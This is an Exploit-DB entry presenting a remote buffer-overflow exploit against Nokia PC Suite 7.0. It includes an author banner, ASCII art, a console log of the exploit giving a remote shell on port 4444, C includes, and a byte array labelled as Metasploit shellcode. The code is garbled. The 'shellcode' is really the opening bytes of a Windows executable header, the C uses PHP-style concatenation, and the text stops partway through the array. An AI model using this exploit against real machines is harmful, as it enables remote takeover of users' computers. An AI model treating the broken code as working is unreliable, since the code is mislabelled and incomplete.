Exploit-DB #32442
Description: Nokia PC Suite 7.0 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-09-29
Author: Ciph3r

Exploit:
// source: https://www.securityfocus.com/bid/31475/info

Nokia PC Suite is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary code in the context of the affected application. This may facilitate the complete compromise of affected computers. Failed exploit attempts may result in a denial-of-service condition. 

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""                                  
"""  :::::: ::   ::       ::        ::  ::  ::::        """
"""  ::      :: ::        :: :::::: .. ::::   ::        """
"""  :::::    :::   ::::: :: ::  :: ::  ::  ::::        """
"""  ::      :: ::  ::  : :: ::  :: ::  ::    ::        """
"""  :::::: ::   :: ::::: :: :::::: ::  ::  :::: rs.ir  """
"""                 ::                                  """
"""                                                     """
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
   


# Tilte: Nokia Pc Suie Remote Buffer OverFlow Exploit


# Exp0iters team .........: [Expl0iters Member TEAM]
# Author..................: [Ciph3r]
# E-mail..................: [Ciph3r_blackhat@yahoo.com]
# Location ...............: [Kurdistan Of Iran]
# Software ...............: [Nokia Pc Suie] 


# Tested on: Tested on Windows XP Professional SP2 full patched, with Internet Explorer 7

# Vulnerability: Remote Buffer OverFlow

# bayanye : 

�� ����� ������ ���� � ����� ��� ���� ��� �� �� ��� � �������� ���� ��� �� ��� � ��� ����� �� �� ��� � ���� � ��� ��� ������ ����� ��� ��� ���� ��� �� ���� 

Greetz : My Mother#Speshial#Persian Boys#Ahmadbady#DeltaHacking#Ahiyane#ISCN#Virangar#Hiva TEAM#
#IBH#Mafia TEAM#Emperror TEAM#Scary-boys#PEFORCE#Y!Underground#Shabgard#Sparky#Rake#h4ckcity#
#ali#ahmad2id# & all Iranian Hacker 

# Avator Ciph3r :
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


   #
   ##
   ###
    ####
     #####
     #######
      #######
      ########
      ########
      #########
      ##########
     ############
   ##############
  ################                                                  #
   ################                                                ##
     ##############                                               ###   
      ##############                                             ####
      ##############                                           #####
       ##############                                      #######
       ##############                                 ###########
       ###############                              #############
       ################                           ##############
      #################      #                  ################
      ##################     ##    #           #################
     ####################   ###   ##          #################
          ################  ########          #################
           ################  #######         ###################
             #######################       #####################
              #####################       ###################
                ############################################
                 ###########################################
                 ##########################################
                  ########################################
                  ########################################
                   ######################################
                   ######################################
                    ##########################      #####
                    ###  ###################           ##
                    ##    ###############              #
                    #     ##  ##########   
                              ##    ###
                                    ###
                                    ##
                                    #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Part Expl0it & Bug Codes :
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

C:\Documents and Settings\Ciph3r\Desktop>Nokia.exe Expl0iters 143 2 faryad rahmany


[+] target : windows 2003 server enterprise service pack 2
[+] building login data
[+] building overflow string
[+] attacking host Target
[+] packet size = 625 byte
[+] connected
[+] sending login info
[+] sending exploit string
[+] exploit sent successfully to Target
[+] trying to get shell
[+] connecting to Target on port 4444
[+] target exploited successfully
[+] Dropping into shell

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\Nokia>

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>

// nops + return address + 16 nops + shellcode + 4 + 16 + 344 + 1   


// metasploit shellcode LPORT=4444 Size=344 Encoder=PexFnstenvSub
// bad chars : 0x00 0x0a 0x20 0x0d

char shellcode[]=
	"\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00".
	"\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00".
	"\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68".
	"\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F".
	"\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20".
	"\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00".
	"\x4B\xC8\x12\x5F\x0F\xA9\x7C\x0C\x0F\xA9\x7C\x0C\x0F\xA9\x7C\x0C".
	"\x74\xB5\x70